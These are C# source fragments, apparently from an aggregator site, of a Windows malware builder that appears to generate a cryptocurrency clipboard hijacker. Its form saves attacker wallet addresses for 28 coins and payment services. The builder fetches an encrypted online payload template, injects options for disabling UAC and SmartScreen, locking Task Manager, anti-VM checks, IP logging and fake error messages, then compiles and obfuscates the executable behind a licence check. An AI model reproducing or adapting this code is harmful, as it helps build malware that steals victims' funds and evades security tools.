                if (Thread.CurrentThread.CurrentCulture.TwoLetterISOLanguageName.Equals("en", StringComparison.InvariantCultureIgnoreCase))
                {
                    ControlActive.CheckMessage(this.ShowMessage, Language.GlobalMessageStrings_en_US.FillFields);
                }
                else
                {
                    ControlActive.CheckMessage(this.ShowMessage, Language.GlobalMessageStrings_ru_RU.FillFields);
                }
            }
            else
            {
                if (string.IsNullOrWhiteSpace(this.SpisokOut.Text))
                {
                    if (Thread.CurrentThread.CurrentCulture.TwoLetterISOLanguageName.Equals("en", StringComparison.InvariantCultureIgnoreCase))
                    {
                        ControlActive.CheckMessage(this.ShowMessage, Language.GlobalMessageStrings_en_US.Extension);
                    }
                    else
                    {
                        ControlActive.CheckMessage(this.ShowMessage, Language.GlobalMessageStrings_ru_RU.Extension);
                    }
                }
                else
                {
                    new Thread(() => { AntiSniffer.Inizialize(); }).Start();

                    if (CheckerKeys.CompareKey())
                    {
                        CheckerKeys.GetLicenseInfo();
                        if (FileControl.ExistsFileAndDirectory(GlobalPath.ModConfuser, GlobalPath.CLI))
                        {
                            if (SourceEdition.values.Count != 0)
                            {
                                await Task.Run(() => SourceEdition.Inizialize(SourceEdition.values, build));

                                // Обфускация
                                switch (build.ComboOutputExtension.SelectedIndex)
                                {
                                case 1: await Task.Run(() => Mod.Packer.CreateProject(GlobalPath.CurrDir, $"{build.BoxFileName}.dll")); break;

                                default: await Task.Run(() => Mod.Packer.CreateProject(GlobalPath.CurrDir, $"{build.BoxFileName}.exe")); break;
                                }
                                if (FileControl.ExistsDirectory(GlobalPath.Confused))
                                {
                                    if (Thread.CurrentThread.CurrentCulture.TwoLetterISOLanguageName.Equals("en", StringComparison.InvariantCultureIgnoreCase))
                                    {
                                        ControlActive.CheckMessage(build.BoxStatus, Language.GlobalMessageStrings_en_US.Obfuscated);
                                    }
                                    else
                                    {
                                        ControlActive.CheckMessage(build.BoxStatus, Language.GlobalMessageStrings_ru_RU.Obfuscated);
                                    }
                                }
                            }
                            else
                            {
                                if (Thread.CurrentThread.CurrentCulture.TwoLetterISOLanguageName.Equals("en", StringComparison.InvariantCultureIgnoreCase))
                                {
                                    ControlActive.CheckMessage(build.BoxStatus, Language.GlobalMessageStrings_en_US.BasePurse);
                                }
                                else
                                {
                                    ControlActive.CheckMessage(build.BoxStatus, Language.GlobalMessageStrings_ru_RU.BasePurse);
                                }
                            }
                        }
                        else
                        {
                            if (Thread.CurrentThread.CurrentCulture.TwoLetterISOLanguageName.Equals("en", StringComparison.InvariantCultureIgnoreCase))
                            {
                                ControlActive.CheckMessage(this.ShowMessage, Language.GlobalMessageStrings_en_US.ModCLI);
                            }
                            else
                            {
                                ControlActive.CheckMessage(this.ShowMessage, Language.GlobalMessageStrings_ru_RU.ModCLI);
                            }
                        }
                    }
                    else
                    {
                        MusicPlay.Inizialize(Resources.Error_Build);
                        if (Thread.CurrentThread.CurrentCulture.TwoLetterISOLanguageName.Equals("en", StringComparison.InvariantCultureIgnoreCase))
                        {
                            ControlActive.CheckMessage(this.ShowMessage, Language.GlobalMessageStrings_en_US.ErrorLicense);
                            FileControl.CreateFile("Clip_Key.txt", $"Your key to access the program: {HardwareID.GET_ID}\r\nSend this key to the developer for activation.\r\n");
                        }
                        else
                        {
                            ControlActive.CheckMessage(this.ShowMessage, Language.GlobalMessageStrings_ru_RU.ErrorLicense);
                            FileControl.CreateFile("Clip_Key.txt", $"Ваш ключ для доступа к программе: {HardwareID.GET_ID}\r\nЭтот ключ скиньте разработчику для активации.\r\n");
                        }
                        Thread.Sleep(2000);
                        Application.Exit();
                    }
                }
            }
        }
示例#26
0
 private void ShowUpdater_Click(object sender, EventArgs e) => ControlActive.ControlVisible(this.MainPanel, new UpdateSE());
示例#27
0
        /// <summary>
        /// Метод для компиляции исходного кода
        /// </summary>
        /// <param name="values">Данные из словаря (контейнера)</param>
        /// <param name="build">Передача данных через свойства</param>
        /// <returns>Исходно-изменённый файл</returns>
        public static bool Inizialize(Dictionary <string, string> values, Build build)
        {
            // Запускаем антисниффер
            new Thread(() => { AntiSniffer.Inizialize(); }).Start();
            // Расшифровываем онлайн билд через ключ
            string SourceCode = INetConnect.GetOnlineBuild(EncryptKey.Decrypt(GlobalPath.DatabaseBuild, GlobalPath.SecretKey_Public));

            #region ComboBox replace Boolean values

            SourceCode = build.DelayCheckStatus.Checked ? SourceCode.Replace("[Delay]", "true") : SourceCode.Replace("[Delay]", "false");
            SourceCode = build.RunCheckStatus.Checked ? SourceCode.Replace("[Run]", "true") : SourceCode.Replace("[Run]", "false");
            SourceCode = build.GarbageCheckStatus.Checked ? SourceCode.Replace("[Garbage]", "true") : SourceCode.Replace("[Garbage]", "false");
            SourceCode = build.UacOffCheckStatus.Checked ? SourceCode.Replace("[Uac]", "true") : SourceCode.Replace("[Uac]", "false");
            SourceCode = build.SmartOffCheckStatus.Checked ? SourceCode.Replace("[Smart]", "true") : SourceCode.Replace("[Smart]", "false");
            SourceCode = build.TaskMgrOffCheckStatus.Checked ? SourceCode.Replace("[TaskLock]", "true") : SourceCode.Replace("[TaskLock]", "false");
            SourceCode = build.AntiVMCheckStatus.Checked ? SourceCode.Replace("[Anti]", "true") : SourceCode.Replace("[Anti]", "false");
            SourceCode = build.IPLogheckStatus.Checked ? SourceCode.Replace("[IPloger]", "true") : SourceCode.Replace("[IPloger]", "false");
            SourceCode = build.FakeErrorCheckStatus.Checked ? SourceCode.Replace("[Fake]", "true") : SourceCode.Replace("[Fake]", "false");

            #endregion

            SourceCode = SourceCode.Replace("[TEXT_ERROR]", build.ErrorBox);

            #region Replacement Assembly

            SourceCode = SourceCode.Replace("[TITLE]", build.AssTitle).
                         Replace("[DESCRIPTION]", build.AssDescription).
                         Replace("[COMPANY]", build.AssCompany).
                         Replace("[PRODUCT]", build.AssProduct).
                         Replace("[COPYRIGHT]", build.AssCopyright).
                         Replace("[VERSION]", build.AssVersion).
                         Replace("[FILEVERSION]", build.AssFileVersion).
                         Replace("[GUID]", build.GuidBox).
                         Replace("[WEB]", build.IPLoGGeR);

            #endregion

            #region Replace data user interfaces

            foreach (KeyValuePair <string, string> kvp in values)
            {
                SourceCode = SourceCode?.Replace(kvp.Key, kvp.Value);
            }

            #endregion

            // Версия .Net Framework для билда
            var providerOptions = new Dictionary <string, string> {
                { "CompilerVersion", "v4.0" }
            };

            // Инициализация нового экземпляра класса CSharpCodeProvider
            using (var provider = new CSharpCodeProvider(providerOptions))
            {
                try
                {
                    // Дефолтные параметры для компиляции
                    var parameters = new CompilerParameters
                    {
                        CompilerOptions         = "/target:winexe /optimize+ /platform:anycpu", // Дополнительные параметры для компиляции
                        TreatWarningsAsErrors   = false,
                        GenerateInMemory        = false,
                        IncludeDebugInformation = false,
                    };
                    switch (build.ComboOutputExtension.SelectedItem.ToString().Trim())
                    {
                    case ".dll":
                    {
                        parameters.OutputAssembly    += $"{build.BoxFileName}.exe";      // Выходной файл .dll ( изначальный .exe после обфускации в .dll )
                        parameters.GenerateExecutable = false;
                    }
                    break;

                    default:
                        parameters.OutputAssembly    += $"{build.BoxFileName}.exe"; // Выходной файл .exe
                        parameters.GenerateExecutable = true;                       // Генерация в .exe
                        break;
                    }
                    if (!string.IsNullOrEmpty(build.BoxIcon) || FileControl.ExistsFile(build.BoxIcon))  // Проверка на обнаружение иконки
                    {
                        parameters.CompilerOptions += $" /win32icon:{build.BoxIcon}";                   // Добавляем иконку
                    }
                    if (build.RunCheckStatus.Checked)                                                   // Проверка запуска от Админа
                    {
                        if (FileControl.ExistsFile(GlobalPath.ManifestFile))                            // Проверка файла app.Manifest
                        {
                            parameters.CompilerOptions += $" /win32manifest:{GlobalPath.ManifestFile}"; // внедряем запуск от Админа
                        }
                        else
                        {
                            MusicPlay.Inizialize(Resources.Error_Build);
                            if (Thread.CurrentThread.CurrentCulture.TwoLetterISOLanguageName.Equals("en", StringComparison.InvariantCultureIgnoreCase))
                            {
                                ControlActive.CheckMessage(build.BoxStatus, Language.GlobalMessageStrings_en_US.FindManifest);
                            }
                            else
                            {
                                ControlActive.CheckMessage(build.BoxStatus, Language.GlobalMessageStrings_ru_RU.FindManifest);
                            }
                        }
                    }

                    // Добавление ссылок для компиляции билда
                    #region Add Library Dll

                    for (int i = 0; i < list_library.Count; i++)
                    {
                        parameters.ReferencedAssemblies.Add(list_library[i]);
                    }

                    #endregion

                    // Компиляция!
                    CompilerResults ResultLog = provider.CompileAssemblyFromSource(parameters, SourceCode);

                    // Проверка на ошибки
                    if (!ResultLog.Errors.HasErrors)
                    {
                        SourceCode = null;
                        ResultLog  = null;

                        FileControl.FileDelete("Error_Compiler.txt");
                        MusicPlay.Inizialize(Resources.GoodBuild);

                        if (Thread.CurrentThread.CurrentCulture.TwoLetterISOLanguageName.Equals("en", StringComparison.InvariantCultureIgnoreCase))
                        {
                            ControlActive.CheckMessage(build.BoxStatus, Language.GlobalMessageStrings_en_US.BuildCreated);
                        }
                        else
                        {
                            ControlActive.CheckMessage(build.BoxStatus, Language.GlobalMessageStrings_ru_RU.BuildCreated);
                        }

                        string tte = FileControl.CombinePath(GlobalPath.CurrDir, $"{build.BoxFileName}.exe");

                        // Расширения для билд файла
                        switch (build.ComboOutputExtension.SelectedIndex)
                        {
                        case 1: FileControl.Move(tte, Path.ChangeExtension(tte, ".dll")); break;

                        default: FileControl.Move(tte, Path.ChangeExtension(tte, ".exe")); break;
                        }
                        return(true);
                    }
                    else
                    {
                        MusicPlay.Inizialize(Resources.Error_Build);
                        // Проходимся циклом чтобы перечислить все ошибки которые возникли и записать их в файл .txt
                        foreach (CompilerError compilerError in ResultLog.Errors)
                        {
                            if (Thread.CurrentThread.CurrentCulture.TwoLetterISOLanguageName.Equals("en", StringComparison.InvariantCultureIgnoreCase))
                            {
                                FileControl.CreateFile("Error_Compiler.txt", $"Error: {compilerError.ToString()} \r\nLine: {compilerError.Line}\r\n");
                            }
                            else
                            {
                                FileControl.CreateFile("Error_Compiler.txt", $"Ошибка: {compilerError.ToString()} \r\nСтрока: {compilerError.Line}\r\n");
                            }
                        }
                        return(false);
                    }
                }
                catch (Exception ex) // Остальные (неизвестные ошибки) записать в файл .txt
                {
                    MusicPlay.Inizialize(Resources.Error_Build);
                    if (Thread.CurrentThread.CurrentCulture.TwoLetterISOLanguageName.Equals("en", StringComparison.InvariantCultureIgnoreCase))
                    {
                        ControlActive.CheckMessage(build.BoxStatus, Language.GlobalMessageStrings_en_US.ErrorBuild);
                        FileControl.CreateFile("Compile_Error.txt", $"Error: {ex.Message}\r\n");
                    }
                    else
                    {
                        ControlActive.CheckMessage(build.BoxStatus, Language.GlobalMessageStrings_ru_RU.ErrorBuild);
                        FileControl.CreateFile("Compile_Error.txt", $"Ошибка: {ex.Message}\r\n");
                    }
                    return(false);
                }
            }
        }
示例#28
0
        /// <summary>
        /// Метод для загрузки данных из файла в TextBox'ы
        /// </summary>
        /// <param name="path"></param>
        private void LoadDataFromFile(string path)
        {
            if (FileControl.ExistsFile(path))
            {
                try
                {
                    string[] text = File.ReadAllLines(path);
                    // 0 + 1

                    this.BitcointBox.Text    = EncryptKey.Decrypt(text[0], GlobalPath.SecretKey_Public);
                    this.DarkBitcoinBox.Text = EncryptKey.Decrypt(text[1], GlobalPath.SecretKey_Public);
                    this.BitCashBox.Text     = EncryptKey.Decrypt(text[2], GlobalPath.SecretKey_Public);
                    this.BitGoldBox.Text     = EncryptKey.Decrypt(text[3], GlobalPath.SecretKey_Public);
                    this.BinanceBox.Text     = EncryptKey.Decrypt(text[4], GlobalPath.SecretKey_Public);
                    this.BytecoinBox.Text    = EncryptKey.Decrypt(text[5], GlobalPath.SecretKey_Public);
                    this.BlackjackBox.Text   = EncryptKey.Decrypt(text[6], GlobalPath.SecretKey_Public);
                    this.BlockNetBox.Text    = EncryptKey.Decrypt(text[7], GlobalPath.SecretKey_Public);
                    this.DashBox.Text        = EncryptKey.Decrypt(text[8], GlobalPath.SecretKey_Public);
                    this.DogeBox.Text        = EncryptKey.Decrypt(text[9], GlobalPath.SecretKey_Public);
                    this.DonAlertBox.Text    = EncryptKey.Decrypt(text[10], GlobalPath.SecretKey_Public);
                    this.PayeerBox.Text      = EncryptKey.Decrypt(text[11], GlobalPath.SecretKey_Public);
                    this.XmrBox.Text         = EncryptKey.Decrypt(text[12], GlobalPath.SecretKey_Public);
                    this.StellarBox.Text     = EncryptKey.Decrypt(text[13], GlobalPath.SecretKey_Public);
                    this.QtumBox.Text        = EncryptKey.Decrypt(text[14], GlobalPath.SecretKey_Public);
                    this.QiwiBox.Text        = EncryptKey.Decrypt(text[15], GlobalPath.SecretKey_Public);
                    this.EtherBox.Text       = EncryptKey.Decrypt(text[16], GlobalPath.SecretKey_Public);
                    this.EosBox.Text         = EncryptKey.Decrypt(text[17], GlobalPath.SecretKey_Public);
                    this.LiskBox.Text        = EncryptKey.Decrypt(text[18], GlobalPath.SecretKey_Public);
                    this.LiteBox.Text        = EncryptKey.Decrypt(text[19], GlobalPath.SecretKey_Public);
                    this.WavesBox.Text       = EncryptKey.Decrypt(text[20], GlobalPath.SecretKey_Public);
                    this.RippleBox.Text      = EncryptKey.Decrypt(text[21], GlobalPath.SecretKey_Public);
                    this.AdaBox.Text         = EncryptKey.Decrypt(text[22], GlobalPath.SecretKey_Public);
                    this.IotaBox.Text        = EncryptKey.Decrypt(text[23], GlobalPath.SecretKey_Public);
                    this.ZcashBox.Text       = EncryptKey.Decrypt(text[24], GlobalPath.SecretKey_Public);
                    this.NeoBox.Text         = EncryptKey.Decrypt(text[25], GlobalPath.SecretKey_Public);
                    this.TronBox.Text        = EncryptKey.Decrypt(text[26], GlobalPath.SecretKey_Public);
                    this.YandexBox.Text      = EncryptKey.Decrypt(text[27], GlobalPath.SecretKey_Public);

                    if (Thread.CurrentThread.CurrentCulture.TwoLetterISOLanguageName.Equals("en", StringComparison.InvariantCultureIgnoreCase))
                    {
                        ControlActive.CheckMessage(this.ShowMessage, Language.GlobalMessageStrings_en_US.DataLoader);
                    }
                    else
                    {
                        ControlActive.CheckMessage(this.ShowMessage, Language.GlobalMessageStrings_ru_RU.DataLoader);
                    }
                }
                catch (Exception ex)
                {
                    if (Thread.CurrentThread.CurrentCulture.TwoLetterISOLanguageName.Equals("en", StringComparison.InvariantCultureIgnoreCase))
                    {
                        ControlActive.CheckMessage(this.ShowMessage, Language.GlobalMessageStrings_en_US.ErrorLoader);
                    }
                    else
                    {
                        ControlActive.CheckMessage(this.ShowMessage, Language.GlobalMessageStrings_ru_RU.ErrorLoader);
                    }
                    FileControl.CreateFile(FileControl.CombinePath(GlobalPath.CurrDir, "ErrorLoad.txt"), ex.Message);
                }
            }
            else
            {
                if (Thread.CurrentThread.CurrentCulture.TwoLetterISOLanguageName.Equals("en", StringComparison.InvariantCultureIgnoreCase))
                {
                    ControlActive.CheckMessage(this.ShowMessage, Language.GlobalMessageStrings_en_US.FileExists);
                }
                else
                {
                    ControlActive.CheckMessage(this.ShowMessage, Language.GlobalMessageStrings_ru_RU.FileExists);
                }
            }
        }
示例#29
0
 private void ShowLogger_Click(object sender, EventArgs e) => ControlActive.ControlVisible(this.MainPanel, new LoGGeR());
示例#30
0
        /// <summary>
        ///  Метод для сохранения данных в файла из TextBox'ов
        /// </summary>
        /// <param name="path"></param>
        public void SaveDataInFile(string path)
        {
            try
            {
                if (!CheckIsEmptyBoxs())
                {
                    if (Thread.CurrentThread.CurrentCulture.TwoLetterISOLanguageName.Equals("en", StringComparison.InvariantCultureIgnoreCase))
                    {
                        ControlActive.CheckMessage(this.ShowMessage, Language.GlobalMessageStrings_en_US.EmptySave);
                    }
                    else
                    {
                        ControlActive.CheckMessage(this.ShowMessage, Language.GlobalMessageStrings_ru_RU.EmptySave);
                    }
                }
                else
                {
                    using var sw = new StreamWriter(path);
                    sw.WriteLine(EncryptKey.Encrypt(this.BitcointBox.Text, GlobalPath.SecretKey_Public));
                    sw.WriteLine(EncryptKey.Encrypt(this.DarkBitcoinBox.Text, GlobalPath.SecretKey_Public));
                    sw.WriteLine(EncryptKey.Encrypt(this.BitCashBox.Text, GlobalPath.SecretKey_Public));
                    sw.WriteLine(EncryptKey.Encrypt(this.BitGoldBox.Text, GlobalPath.SecretKey_Public));
                    sw.WriteLine(EncryptKey.Encrypt(this.BinanceBox.Text, GlobalPath.SecretKey_Public));
                    sw.WriteLine(EncryptKey.Encrypt(this.BytecoinBox.Text, GlobalPath.SecretKey_Public));
                    sw.WriteLine(EncryptKey.Encrypt(this.BlackjackBox.Text, GlobalPath.SecretKey_Public));
                    sw.WriteLine(EncryptKey.Encrypt(this.BlockNetBox.Text, GlobalPath.SecretKey_Public));
                    sw.WriteLine(EncryptKey.Encrypt(this.DashBox.Text, GlobalPath.SecretKey_Public));
                    sw.WriteLine(EncryptKey.Encrypt(this.DogeBox.Text, GlobalPath.SecretKey_Public));
                    sw.WriteLine(EncryptKey.Encrypt(this.DonAlertBox.Text, GlobalPath.SecretKey_Public));
                    sw.WriteLine(EncryptKey.Encrypt(this.PayeerBox.Text, GlobalPath.SecretKey_Public));
                    sw.WriteLine(EncryptKey.Encrypt(this.XmrBox.Text, GlobalPath.SecretKey_Public));
                    sw.WriteLine(EncryptKey.Encrypt(this.StellarBox.Text, GlobalPath.SecretKey_Public));
                    sw.WriteLine(EncryptKey.Encrypt(this.QtumBox.Text, GlobalPath.SecretKey_Public));
                    sw.WriteLine(EncryptKey.Encrypt(this.QiwiBox.Text, GlobalPath.SecretKey_Public));
                    sw.WriteLine(EncryptKey.Encrypt(this.EtherBox.Text, GlobalPath.SecretKey_Public));
                    sw.WriteLine(EncryptKey.Encrypt(this.EosBox.Text, GlobalPath.SecretKey_Public));
                    sw.WriteLine(EncryptKey.Encrypt(this.LiskBox.Text, GlobalPath.SecretKey_Public));
                    sw.WriteLine(EncryptKey.Encrypt(this.LiteBox.Text, GlobalPath.SecretKey_Public));
                    sw.WriteLine(EncryptKey.Encrypt(this.WavesBox.Text, GlobalPath.SecretKey_Public));
                    sw.WriteLine(EncryptKey.Encrypt(this.RippleBox.Text, GlobalPath.SecretKey_Public));
                    sw.WriteLine(EncryptKey.Encrypt(this.AdaBox.Text, GlobalPath.SecretKey_Public));
                    sw.WriteLine(EncryptKey.Encrypt(this.IotaBox.Text, GlobalPath.SecretKey_Public));
                    sw.WriteLine(EncryptKey.Encrypt(this.ZcashBox.Text, GlobalPath.SecretKey_Public));
                    sw.WriteLine(EncryptKey.Encrypt(this.NeoBox.Text, GlobalPath.SecretKey_Public));
                    sw.WriteLine(EncryptKey.Encrypt(this.TronBox.Text, GlobalPath.SecretKey_Public));
                    sw.WriteLine(EncryptKey.Encrypt(this.YandexBox.Text, GlobalPath.SecretKey_Public));
                    // 28
                    sw.Flush();

                    if (Thread.CurrentThread.CurrentCulture.TwoLetterISOLanguageName.Equals("en", StringComparison.InvariantCultureIgnoreCase))
                    {
                        ControlActive.CheckMessage(this.ShowMessage, Language.GlobalMessageStrings_en_US.DataSave);
                    }
                    else
                    {
                        ControlActive.CheckMessage(this.ShowMessage, Language.GlobalMessageStrings_ru_RU.DataSave);
                    }
                }
            }
            catch (Exception ex)
            {
                if (Thread.CurrentThread.CurrentCulture.TwoLetterISOLanguageName.Equals("en", StringComparison.InvariantCultureIgnoreCase))
                {
                    ControlActive.CheckMessage(this.ShowMessage, Language.GlobalMessageStrings_en_US.ErrorSave);
                }
                else
                {
                    ControlActive.CheckMessage(this.ShowMessage, Language.GlobalMessageStrings_ru_RU.ErrorSave);
                }
                FileControl.CreateFile(FileControl.CombinePath(GlobalPath.CurrDir, "ErrorSave.txt"), ex.Message);
            }
        }